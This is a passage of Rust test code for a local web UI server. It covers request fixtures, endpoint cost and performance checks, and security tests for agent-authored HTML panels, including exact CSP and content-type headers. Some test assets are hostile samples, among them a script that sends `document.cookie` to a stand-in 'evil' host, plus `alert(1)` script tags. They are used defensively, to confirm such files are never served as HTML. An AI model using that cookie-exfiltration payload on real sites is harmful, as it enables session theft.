10876    /// side benefit of asserting the status line and content types the phone
10877    /// actually receives.
10878    struct Fixture {
10879        home: TempDir,
10880        addr: SocketAddr,
10881    }
10882
10883    impl Fixture {
10884        async fn start() -> Self {
10885            Self::with_loop(launch_idle).await
10886        }
10887
10888        /// A fixture whose loop is `launch`.
10889        async fn with_loop(launch: Launch) -> Self {
10890            let home = TempDir::new().expect("temp home");
10891            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10892            Self { home, addr }
10893        }
10894
10895        /// A fixture whose `ui.repo` is a real directory rather than the
10896        /// usual placeholder - for the routes that read config off it
10897        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10898        async fn with_repo(repo: PathBuf) -> Self {
10899            let home = TempDir::new().expect("temp home");
10900            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10901            Self { home, addr }
10902        }
10903
10904        /// As [`Fixture::with_repo`], with the machine-config file the
10905        /// settings screen reads and writes.
10906        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10907            let home = TempDir::new().expect("temp home");
10908            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10909            Self { home, addr }
10910        }
10911
10912        async fn serve(
10913            home: &FsPath,
10914            repo: PathBuf,
10915            launch: Launch,
10916            machine: Option<PathBuf>,
10917        ) -> SocketAddr {
10918            let queue = Queue::at(home.join("queue"));
10919            let runs = home.join("runs");
10920            std::fs::create_dir_all(&runs).expect("runs dir");
10921            let worktrees = home.join("wt").join("magi");
10922            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10923            let ui = Ui::new(
10924                queue,
10925                Questions::at(home.join("questions")),
10926                Talks::at(home.join("talks")),
10927                runs,
10928                home.to_path_buf(),
10929                repo,
10930            )
10931            .with_worktrees_root(worktrees)
10932            .with_machine_config(machine)
10933            .with_launch(launch);
10934            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10935                .await
10936                .expect("bind loopback");
10937            let addr = listener.local_addr().expect("local addr");
10938            tokio::spawn(async move {
10939                let router = ui
10940                    .router()
10941                    .layer(axum::middleware::from_fn(request_cost::observe));
10942                let _ = axum::serve(listener, router).await;
10943            });
10944            addr
10945        }
10946
10947        fn queue(&self) -> Queue {
10948            Queue::at(self.home.path().join("queue"))
10949        }
10950
10951        fn questions(&self) -> Questions {
10952            Questions::at(self.home.path().join("questions"))
10953        }
10954
10955        fn talks(&self) -> Talks {
10956            Talks::at(self.home.path().join("talks"))
10957        }
10958
10959        fn runs(&self) -> PathBuf {
10960            self.home.path().join("runs")
10961        }
10962
10963        async fn get(&self, path: &str) -> Res {
10964            request(self.addr, "GET", path, None).await
10965        }
10966
10967        /// The status and headers without the body, which is how the front end
10968        /// preflights a panel: a sandboxed frame is opaque to the parent
10969        /// document, so the only way to tell "no panel" from "a panel that
10970        /// rendered blank" is to ask before mounting.
10971        async fn head(&self, path: &str) -> Res {
10972            request(self.addr, "HEAD", path, None).await
10973        }
10974
10975        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10976            request(self.addr, "POST", path, body).await
10977        }
10978
10979        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10980            request_with(self.addr, "GET", path, None, extra).await
10981        }
10982
10983        async fn delete(&self, path: &str) -> Res {
10984            request(self.addr, "DELETE", path, None).await
10985        }
10986
10987        async fn put(&self, path: &str, body: &str) -> Res {
10988            request(self.addr, "PUT", path, Some(body)).await
10989        }
10990
10991        /// `POST` a raw body with its own headers - see [`request_bytes`].
10992        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10993            request_bytes(self.addr, path, headers, body).await
10994        }
10995    }
10996
10997    /// Real tracking refs exercise the successful discovery path (including
10998    /// extraction), rather than counting cheap failures on a placeholder repo.
10999    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11000        let tmp = TempDir::new().unwrap();
11001        let mut repos = Vec::new();
11002        for name in ["one", "two"] {
11003            let repo = tmp.path().join(name);
11004            let origin = tmp.path().join(format!("{name}.git"));
11005            std::fs::create_dir_all(&repo).unwrap();
11006            crate::git::git(&repo, &["init", "-b", "main"])
11007                .await
11008                .unwrap();
11009            std::fs::write(
11010                repo.join("magi.toml"),
11011                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11012            )
11013            .unwrap();
11014            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11015            crate::git::git(
11016                &repo,
11017                &[
11018                    "-c",
11019                    "user.name=fixture",
11020                    "-c",
11021                    "user.email=fixture@example.invalid",
11022                    "commit",
11023                    "-m",
11024                    "fixture",
11025                ],
11026            )
11027            .await
11028            .unwrap();
11029            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11030                .await
11031                .unwrap();
11032            crate::git::git(
11033                &repo,
11034                &["remote", "add", "origin", origin.to_str().unwrap()],
11035            )
11036            .await
11037            .unwrap();
11038            crate::git::git(&repo, &["push", "origin", "main"])
11039                .await
11040                .unwrap();
11041            crate::git::git(
11042                &repo,
11043                &[
11044                    "symbolic-ref",
11045                    "refs/remotes/origin/HEAD",
11046                    "refs/remotes/origin/main",
11047                ],
11048            )
11049            .await
11050            .unwrap();
11051            let (cfg, _) = Config::discover(&repo, None).unwrap();
11052            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11053            repos.push(repo);
11054        }
11055        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11056        (tmp, repos)
11057    }
11058
11059    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11060        let (tmp, repos) = performance_repositories().await;
11061        let machine = tmp.path().join("machine.toml");
11062        std::fs::write(&machine, "").unwrap();
11063        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11064        (tmp, repos, fx)
11065    }
11066
11067    fn seed_performance(
11068        fx: &Fixture,
11069        repos: &[PathBuf; 2],
11070        questions: usize,
11071        runs: usize,
11072        items: usize,
11073    ) {
11074        // Saving states directly never starts a run or changes MAGI_HOME.
11075        for i in fx.questions().list().len()..questions {
11076            let mut question = Question::new(
11077                "20261001-000000-0000".into(),
11078                "implement".into(),
11079                "impl-A".into(),
11080                format!("question {i}"),
11081                "context".into(),
11082                vec!["yes".into(), "no".into()],
11083            );
11084            question.id = format!("20261003-000000-{i:04x}");
11085            fx.questions().put(&mut question).unwrap();
11086        }
11087        for i in run_ids(&fx.runs()).len()..runs {
11088            write_run_repo(
11089                &fx.runs(),
11090                &format!("20261001-000000-{i:04x}"),
11091                RunStatus::Ready,
11092                repos[i % 2].to_str().unwrap(),
11093            );
11094        }
11095        for i in fx.talks().list().len()..items {
11096            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11097            let mut talk = fx.talks().get(&id).unwrap();
11098            talk.repo = repos[i % 2].clone();
11099            fx.talks().put(&mut talk).unwrap();
11100            let mut task = crate::queue::Task::new(
11101                format!("task {i}"),
11102                "instruction".into(),
11103                repos[i % 2].clone(),
11104                crate::queue::Source::Agent {
11105                    run: id,
11106                    node: crate::queue::CHAT_NODE.into(),
11107                },
11108            );
11109            task.id = format!("20261004-000000-{i:04x}");
11110            fx.queue().put(&mut task).unwrap();
11111            // Notices has a production retention cap; seed up to that cap.
11112            if i < crate::notices::CAP {
11113                Notices::at(fx.home.path().join("notifications"))
11114                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11115                    .unwrap();
11116            }
11117        }
11118        assert_eq!(fx.questions().list().len(), questions);
11119        assert_eq!(run_ids(&fx.runs()).len(), runs);
11120        assert_eq!(fx.talks().list().len(), items);
11121        assert_eq!(fx.queue().list().len(), items);
11122        assert_eq!(
11123            Notices::at(fx.home.path().join("notifications"))
11124                .list()
11125                .len(),
11126            items.min(crate::notices::CAP)
11127        );
11128    }
11129
11130    fn request_counts(res: &Res) -> (usize, usize) {
11131        assert_eq!(res.status, 200, "{}", res.body);
11132        (
11133            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11134            res.header("x-test-git").unwrap().parse().unwrap(),
11135        )
11136    }
11137
11138    #[tokio::test]
11139    async fn list_request_cost_is_independent_of_record_count() {
11140        let (_tmp, repos, fx) = performance_fixture().await;
11141        let mut previous = None;
11142        for n in [4, 60] {
11143            seed_performance(&fx, &repos, n, n, n);
11144            let mut costs = Vec::new();
11145            for (path, discoveries) in [
11146                ("/api/questions", 1),
11147                ("/api/talks", 0),
11148                ("/api/health", 0),
11149                ("/api/stats", 1),
11150            ] {
11151                // Equal cold extraction caches at both scales; this also
11152                // bounds first-request cost instead of only warmed requests.
11153                for repo in &repos {
11154                    let cache = repo.join(".git/magi/config");
11155                    if cache.exists() {
11156                        std::fs::remove_dir_all(cache).unwrap();
11157                    }
11158                }
11159                let cost = request_counts(&fx.get(path).await);
11160                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11161                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11162                assert!(
11163                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11164                    "{path}: {cost:?}"
11165                );
11166                costs.push(cost);
11167            }
11168            if let Some(previous) = previous {
11169                assert_eq!(costs, previous);
11170            }
11171            previous = Some(costs);
11172        }
11173        // runs reads shared row inputs and probes process liveness; queue
11174        // builds one blocker inventory; notifications reads its own store.
11175        // None discovers configuration or spawns git per item.
11176    }
11177
11178    /// The same handler path without transport, so the deterministic cause
11179    /// can also be checked in environments that prohibit binding sockets.
11180    #[tokio::test]
11181    async fn list_handler_cost_without_transport() {
11182        let (_tmp, repos) = performance_repositories().await;
11183        let fx = Fixture {
11184            home: TempDir::new().unwrap(),
11185            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11186        };
11187        let ui = Arc::new(
11188            Ui::new(
11189                fx.queue(),
11190                fx.questions(),
11191                fx.talks(),
11192                fx.runs(),
11193                fx.home.path().to_path_buf(),
11194                repos[0].clone(),
11195            )
11196            .with_worktrees_root(fx.home.path().join("wt")),
11197        );
11198        let mut previous = None;
11199        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11200            seed_performance(&fx, &repos, n, runs, items);
11201            let mut costs = Vec::new();
11202            for endpoint in ["questions", "talks", "health", "stats"] {
11203                for repo in &repos {
11204                    let cache = repo.join(".git/magi/config");
11205                    if cache.exists() {
11206                        std::fs::remove_dir_all(cache).unwrap();
11207                    }
11208                }
11209                let (_, cost) = request_cost::measure(async {
11210                    match endpoint {
11211                        "questions" => {
11212                            let _ = questions_list(State(ui.clone())).await.unwrap();
11213                        }
11214                        "talks" => {
11215                            let _ = talks_list(
11216                                State(ui.clone()),
11217                                Query(ListQuery {
11218                                    limit: None,
11219                                    ids: None,
11220                                }),
11221                                header::HeaderMap::new(),
11222                            )
11223                            .await
11224                            .unwrap();
11225                        }
11226                        "health" => {
11227                            let _ = health(State(ui.clone())).await.unwrap();
11228                        }
11229                        _ => {
11230                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11231                                .await
11232                                .unwrap();
11233                        }
11234                    }
11235                })
11236                .await;
11237                eprintln!("{endpoint} handler N={n}: {cost:?}");
11238                assert_eq!(
11239                    cost.0,
11240                    if matches!(endpoint, "talks" | "health") {
11241                        0
11242                    } else {
11243                        1
11244                    },
11245                    "{endpoint}"
11246                );
11247                assert!(
11248                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11249                    "{endpoint}: {cost:?}"
11250                );
11251                costs.push(cost);
11252            }
11253            if let Some(previous) = previous {
11254                assert_eq!(costs, previous);
11255            }
11256            previous = Some(costs);
11257        }
11258    }
11259
11260    #[tokio::test]
11261    async fn list_request_cost_scopes_do_not_mix() {
11262        let (_tmp, repos, fx) = performance_fixture().await;
11263        seed_performance(&fx, &repos, 10, 0, 10);
11264        let (questions, talks, notices) = tokio::join!(
11265            fx.get("/api/questions"),
11266            fx.get("/api/talks"),
11267            fx.get("/api/notifications")
11268        );
11269        assert_eq!(request_counts(&questions).0, 1);
11270        // Cached summaries perform no config discovery or git work, even
11271        // alongside the questions request that still discovers config.
11272        assert_eq!(request_counts(&talks), (0, 0));
11273        assert_eq!(request_counts(&notices), (0, 0));
11274    }
11275
11276    #[tokio::test]
11277    async fn list_endpoints_large_home_responses() {
11278        check_large_home_endpoints(false).await;
11279    }
11280
11281    #[tokio::test]
11282    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11283    async fn list_endpoints_large_home_ceiling() {
11284        check_large_home_endpoints(true).await;
11285    }
11286
11287    async fn check_large_home_endpoints(timed: bool) {
11288        let (_tmp, repos, fx) = performance_fixture().await;
11289        seed_performance(&fx, &repos, 200, 300, 400);
11290        let mut failures = Vec::new();
11291        // app.js boot/change loads plus the initial dashboard, settings and
11292        // repo picker. SSE is a persistent stream, not a bounded GET.
11293        for path in [
11294            "/",
11295            "/app.js",
11296            "/app.css",
11297            "/api/questions",
11298            "/api/runs?limit=300",
11299            "/api/queue",
11300            "/api/talks",
11301            "/api/notifications",
11302            "/api/health",
11303            "/api/stats",
11304            "/api/loop",
11305            "/api/settings",
11306            "/api/repos",
11307        ] {
11308            let start = std::time::Instant::now();
11309            let result = if timed {
11310                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11311            } else {
11312                Ok(fx.get(path).await)
11313            };
11314            let elapsed = start.elapsed();
11315            eprintln!("{path}: {elapsed:?}");
11316            match result {
11317                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11318                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11319                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11320            }
11321        }
11322        assert!(failures.is_empty(), "{}", failures.join("\n"));
11323    }
11324
11325    struct Res {
11326        status: u16,
11327        headers: String,
11328        /// The header block with its original casing, for the assertions that
11329        /// compare a header *value* rather than looking for a name. Lowercasing
11330        /// a CSP would hide a directive spelled with a capital letter, and the
11331        /// whole point of that test is that the string is exactly right.
11332        head: String,
11333        body: String,
11334        /// The body before any UTF-8 handling, for the routes that serve
11335        /// something other than text. A panel asset is a PNG as often as not,
11336        /// and `from_utf8_lossy` would silently replace half of it.
11337        bytes: Vec<u8>,
11338    }
11339
11340    impl Res {
11341        fn json(&self) -> Value {
11342            serde_json::from_str(&self.body)
11343                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11344        }
11345
11346        /// One header's value verbatim, or `None` when it was not sent.
11347        fn header(&self, name: &str) -> Option<&str> {
11348            self.head.lines().find_map(|line| {
11349                let (key, value) = line.split_once(':')?;
11350                key.trim()
11351                    .eq_ignore_ascii_case(name)
11352                    .then(|| value.trim_start().trim_end_matches('\r'))
11353            })
11354        }
11355    }
11356
11357    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11358    /// be read to end-of-stream without parsing framing.
11359    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11360        request_with(addr, method, path, body, &[]).await
11361    }
11362
11363    /// As [`request`], with extra request headers - conditional GETs need
11364    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11365    /// worse than one that sets none.
11366    async fn request_with(
11367        addr: SocketAddr,
11368        method: &str,
11369        path: &str,
11370        body: Option<&str>,
11371        extra: &[(&str, &str)],
11372    ) -> Res {
11373        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11374        for (name, value) in extra {
11375            head.push_str(&format!("{name}: {value}\r\n"));
11376        }
11377        if let Some(body) = body {
11378            head.push_str("Content-Type: application/json\r\n");
11379            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11380        }
11381        head.push_str("\r\n");
11382        if let Some(body) = body {
11383            head.push_str(body);
11384        }
11385        let mut socket = tokio::net::TcpStream::connect(addr)
11386            .await
11387            .expect("connect to the test server");
11388        socket
11389            .write_all(head.as_bytes())
11390            .await
11391            .expect("write request");
11392        let mut raw = Vec::new();
11393        socket.read_to_end(&mut raw).await.expect("read response");
11394        // Split on the raw bytes rather than on a lossy string, so a binary
11395        // body survives to be compared byte for byte.
11396        let split = raw
11397            .windows(4)
11398            .position(|w| w == b"\r\n\r\n")
11399            .expect("a header block");
11400        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11401        let bytes = raw[split + 4..].to_vec();
11402        let status = head
11403            .lines()
11404            .next()
11405            .and_then(|line| line.split_whitespace().nth(1))
11406            .and_then(|code| code.parse().ok())
11407            .expect("a status line");
11408        Res {
11409            status,
11410            headers: head.to_lowercase(),
11411            head,
11412            body: String::from_utf8_lossy(&bytes).into_owned(),
11413            bytes,
11414        }
11415    }
11416
11417    /// A `POST` carrying a raw binary body and its own headers, for the
11418    /// attachment upload route - `request_with` only ever sends
11419    /// `Content-Type: application/json`, which is wrong for an image and
11420    /// would corrupt anything not valid UTF-8 by round-tripping it through
11421    /// `&str` first.
11422    async fn request_bytes(
11423        addr: SocketAddr,
11424        path: &str,
11425        headers: &[(&str, &str)],
11426        body: &[u8],
11427    ) -> Res {
11428        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11429        for (name, value) in headers {
11430            head.push_str(&format!("{name}: {value}\r\n"));
11431        }
11432        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11433        let mut socket = tokio::net::TcpStream::connect(addr)
11434            .await
11435            .expect("connect to the test server");
11436        socket
11437            .write_all(head.as_bytes())
11438            .await
11439            .expect("write request head");
11440        socket.write_all(body).await.expect("write request body");
11441        let mut raw = Vec::new();
11442        socket.read_to_end(&mut raw).await.expect("read response");
11443        let split = raw
11444            .windows(4)
11445            .position(|w| w == b"\r\n\r\n")
11446            .expect("a header block");
11447        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11448        let bytes = raw[split + 4..].to_vec();
11449        let status = head
11450            .lines()
11451            .next()
11452            .and_then(|line| line.split_whitespace().nth(1))
11453            .and_then(|code| code.parse().ok())
11454            .expect("a status line");
11455        Res {
11456            status,
11457            headers: head.to_lowercase(),
11458            head,
11459            body: String::from_utf8_lossy(&bytes).into_owned(),
11460            bytes,
11461        }
11462    }
11463
11464    /// A run on disk, without touching the process-global magi home.
11465    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11466        let mut state = RunState::new(
11467            PathBuf::from("/repo/magi"),
11468            "main".to_owned(),
11469            "0123456789abcdef".to_owned(),
11470            "Add a web UI\n\nMobile first.".to_owned(),
11471            Config::default(),
11472        );
11473        state.id = id.to_owned();
11474        state.status = status;
11475        let dir = runs.join(id);
11476        std::fs::create_dir_all(&dir).expect("run dir");
11477        std::fs::write(
11478            dir.join("run.json"),
11479            serde_json::to_string_pretty(&state).expect("serialize run"),
11480        )
11481        .expect("write run.json");
11482    }
11483
11484    /// Same as [`write_run`], but against a named repository rather than the
11485    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11486    /// spread across more than one.
11487    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11488        let mut state = RunState::new(
11489            PathBuf::from(repo),
11490            "main".to_owned(),
11491            "0123456789abcdef".to_owned(),
11492            "task".to_owned(),
11493            Config::default(),
11494        );
11495        state.id = id.to_owned();
11496        state.status = status;
11497        let dir = runs.join(id);
11498        std::fs::create_dir_all(&dir).expect("run dir");
11499        std::fs::write(
11500            dir.join("run.json"),
11501            serde_json::to_string_pretty(&state).expect("serialize run"),
11502        )
11503        .expect("write run.json");
11504    }
11505
11506    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11507        let body = serde_json::json!({
11508            "schema": 1,
11509            "pid": 4242,
11510            "started_at": Timestamp::now().to_string(),
11511            "updated_at": updated_at.to_string(),
11512            "idle": false,
11513            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11514            "completed": 7,
11515            "polls": 143,
11516        });
11517        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11518    }
11519
11520    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11521    ///
11522    /// No test in this file may start the real loop - see [`Ui::launch`] for
11523    /// why - so this stands in for the only thing the routes need a loop to
11524    /// do: keep running until `Stop` is set, then return. A real
11525    /// `serve_until` here would resolve its queue and its status file through
11526    /// the process-global magi home, claim whatever it found in the
11527    /// operator's live backlog, overwrite the status file of the `magi serve`
11528    /// that owns it, and spend real agent quota on a real competition.
11529    fn launch_idle(
11530        _opts: daemon::Opts,
11531        stop: daemon::Stop,
11532    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11533        Box::pin(async move {
11534            while !stop.stopped() {
11535                tokio::time::sleep(Duration::from_millis(2)).await;
11536            }
11537            Ok(())
11538        })
11539    }
11540
11541    /// A loop that fails on the way up, the way one whose home has gone
11542    /// read-only does.
11543    fn launch_broken(
11544        _opts: daemon::Opts,
11545        _stop: daemon::Stop,
11546    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11547        // The stand-in dies instantly, so a restarted one can record its own
11548        // failure before the start's response is read. The second attempt
11549        // therefore fails with a different message, to tell a stale error
11550        // from a fresh one.
11551        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11552        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11553        Box::pin(async move {
11554            Err(anyhow::anyhow!(if first {
11555                "publish the daemon status file: read-only file system"
11556            } else {
11557                "the restarted stand-in failed as well"
11558            }))
11559        })
11560    }
11561
11562    /// The loop view once `want` accepts it.
11563    ///
11564    /// Polled rather than asserted straight after the POST because stopping
11565    /// is deliberately not instant - that is the contract - and rather than
11566    /// slept through because a fixed wait is either flaky or slow.
11567    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11568    /// finite, so a genuine hang fails the test instead of hanging the
11569    /// suite.
11570    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11571        for _ in 0..SETTLE_STEPS {
11572            let view = fx.get("/api/loop").await.json();
11573            if want(&view) {
11574                return view;
11575            }
11576            tokio::time::sleep(Duration::from_millis(10)).await;
11577        }
11578        panic!(
11579            "the loop never settled: {}",
11580            fx.get("/api/loop").await.json()
11581        );
11582    }
11583
11584    /// File an open question directly in the store the server reads.
11585    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11586        let store = fx.questions();
11587        let mut q = Question::new(
11588            "20260902-000000-beef".to_owned(),
11589            "implement".to_owned(),
11590            "impl-A".to_owned(),
11591            summary.to_owned(),
11592            "because it matters".to_owned(),
11593            choices.iter().map(|c| (*c).to_owned()).collect(),
11594        );
11595        store.put(&mut q).expect("put question");
11596        q.id
11597    }
11598
11599    /// A question with a panel the server can serve, plus the named assets.
11600    ///
11601    /// Written through `Questions::put_panel` rather than by laying out the
11602    /// directory here, so these tests exercise the same on-disk shape the
11603    /// agents produce and cannot pass against a layout only the tests know.
11604    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11605        let store = fx.questions();
11606        let mut q = Question::new(
11607            "20260902-000000-beef".to_owned(),
11608            "land".to_owned(),
11609            "fix".to_owned(),
11610            "Merge this?".to_owned(),
11611            "the diff is in the panel".to_owned(),
11612            vec!["merge".to_owned(), "hold".to_owned()],
11613        );
11614        // Staged outside the questions root, because `put_panel` copies from
11615        // wherever the agent left its files.
11616        let staging = fx.home.path().join("staging");
11617        std::fs::create_dir_all(&staging).expect("staging dir");
11618        let sources: Vec<PathBuf> = assets
11619            .iter()
11620            .map(|(name, bytes)| {
11621                let path = staging.join(name);
11622                std::fs::write(&path, bytes).expect("write staged asset");
11623                path
11624            })
11625            .collect();
11626        store
11627            .put_panel(&mut q, html, &sources)
11628            .expect("write the panel");
11629        store.put(&mut q).expect("put question");
11630        q.id
11631    }
11632
11633    /// A talk on disk, without talking to a model.
11634    ///
11635    /// Written as JSON straight into the store the server reads, because the
11636    /// only constructor `talk::begin` offers takes no turn but still requires
11637    /// a real caller-visible flow. The one thing this cannot make up is the
11638    /// seat, so it is built with the real `SeatState::new` and serialized -
11639    /// the alternative, hand-writing that object, would make these tests fail
11640    /// the day the seat gains a field.
11641    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11642        seed_talk_at(&fx.talks(), id, status)
11643    }
11644
11645    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11646        std::fs::create_dir_all(store.root()).expect("talks dir");
11647        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11648            .expect("serialize a seat");
11649        let body = serde_json::json!({
11650            "schema": 1,
11651            "id": id,
11652            "repo": "/repo/magi",
11653            "agent": "mock",
11654            "status": status,
11655            "turns": [],
11656            "created_at": Timestamp::now().to_string(),
11657            "updated_at": Timestamp::now().to_string(),
11658            "seat": seat,
11659        });
11660        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11661        store.get(id).expect("the seeded talk has to be readable");
11662        id.to_owned()
11663    }
11664
11665    #[tokio::test]
11666    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11667        let fx = Fixture::start().await;
11668        let id = panel(
11669            &fx,
11670            "<h1>Merge?</h1><img src=\"diff.svg\">",
11671            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11672        );
11673
11674        for path in [
11675            format!("/api/questions/{id}/panel"),
11676            format!("/api/questions/{id}/asset/diff.svg"),
11677        ] {
11678            let res = fx.get(&path).await;
11679            assert_eq!(res.status, 200, "{path}: {}", res.body);
11680            // The whole string, not a substring. A weakened directive - an
11681            // `img-src *` that lets a panel beacon out to a remote host, a
11682            // `script-src` anything, a missing `form-action` that lets it post
11683            // the owner's decision to a third party - has to fail here, and a
11684            // `contains` assertion would let every one of those through.
11685            assert_eq!(
11686                res.header("content-security-policy"),
11687                Some(
11688                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11689                     font-src data:; base-uri 'none'; form-action 'none'; \
11690                     frame-ancestors 'self'"
11691                ),
11692                "{path} is the only thing between a hostile panel and the tailnet"
11693            );
11694            assert_eq!(
11695                res.header("x-content-type-options"),
11696                Some("nosniff"),
11697                "{path}: a browser must not re-decide the type we sent"
11698            );
11699            assert_eq!(
11700                res.header("referrer-policy"),
11701                Some("no-referrer"),
11702                "{path}: a panel must not leak the question id off the machine"
11703            );
11704
11705            // The front end mounts the frame only after a `HEAD` says the
11706            // panel is there, so `HEAD` has to answer with the same status and
11707            // the same policy as `GET` - a preflight that came back without
11708            // the CSP would mean a frame mounted on an unverified promise.
11709            let pre = fx.head(&path).await;
11710            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11711            assert_eq!(
11712                pre.header("content-security-policy"),
11713                res.header("content-security-policy"),
11714                "{path}: the preflight carries the same policy"
11715            );
11716            assert_eq!(
11717                pre.header("content-type"),
11718                res.header("content-type"),
11719                "{path}: the preflight carries the same type"
11720            );
11721        }
11722    }
11723
11724    #[tokio::test]
11725    async fn a_panel_reaches_the_browser_byte_for_byte() {
11726        let fx = Fixture::start().await;
11727        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11728        // tag, an entity, and a multi-byte character. The sandbox is what makes
11729        // this safe, so nothing here may be rewritten on the way out - a
11730        // rewritten diff is a diff the owner cannot trust.
11731        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11732        let id = panel(&fx, html, &[]);
11733
11734        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11735
11736        assert_eq!(res.status, 200);
11737        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11738        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11739        assert_eq!(
11740            res.header("content-disposition"),
11741            None,
11742            "the panel itself is rendered in the frame, not downloaded"
11743        );
11744    }
11745
11746    #[tokio::test]
11747    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11748        let fx = Fixture::start().await;
11749        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11750        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11751        let id = panel(
11752            &fx,
11753            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11754            &[("diff.svg", svg), ("shot.png", png)],
11755        );
11756
11757        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11758        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11759
11760        assert_eq!(as_svg.status, 200);
11761        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11762        // An SVG is XML that may carry script. Inside the panel it is an
11763        // `<img src>` and the script cannot run; opened at the top level it
11764        // would be a document on magi's own origin, so the browser is told to
11765        // download it instead of rendering it.
11766        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11767
11768        assert_eq!(as_png.status, 200);
11769        assert_eq!(as_png.header("content-type"), Some("image/png"));
11770        assert_eq!(
11771            as_png.header("content-disposition"),
11772            None,
11773            "a raster image has no execution surface, so tapping it still shows it"
11774        );
11775        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11776    }
11777
11778    #[tokio::test]
11779    async fn an_html_asset_is_never_served_as_html() {
11780        let fx = Fixture::start().await;
11781        let id = panel(
11782            &fx,
11783            "<p>see the notes</p>",
11784            &[
11785                (
11786                    "notes.html",
11787                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11788                ),
11789                ("hook.js", b"fetch('http://evil/')"),
11790                ("data.json", b"{}"),
11791                ("HEADLINE.TXT", b"plain"),
11792            ],
11793        );
11794
11795        for name in ["notes.html", "hook.js", "data.json"] {
11796            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
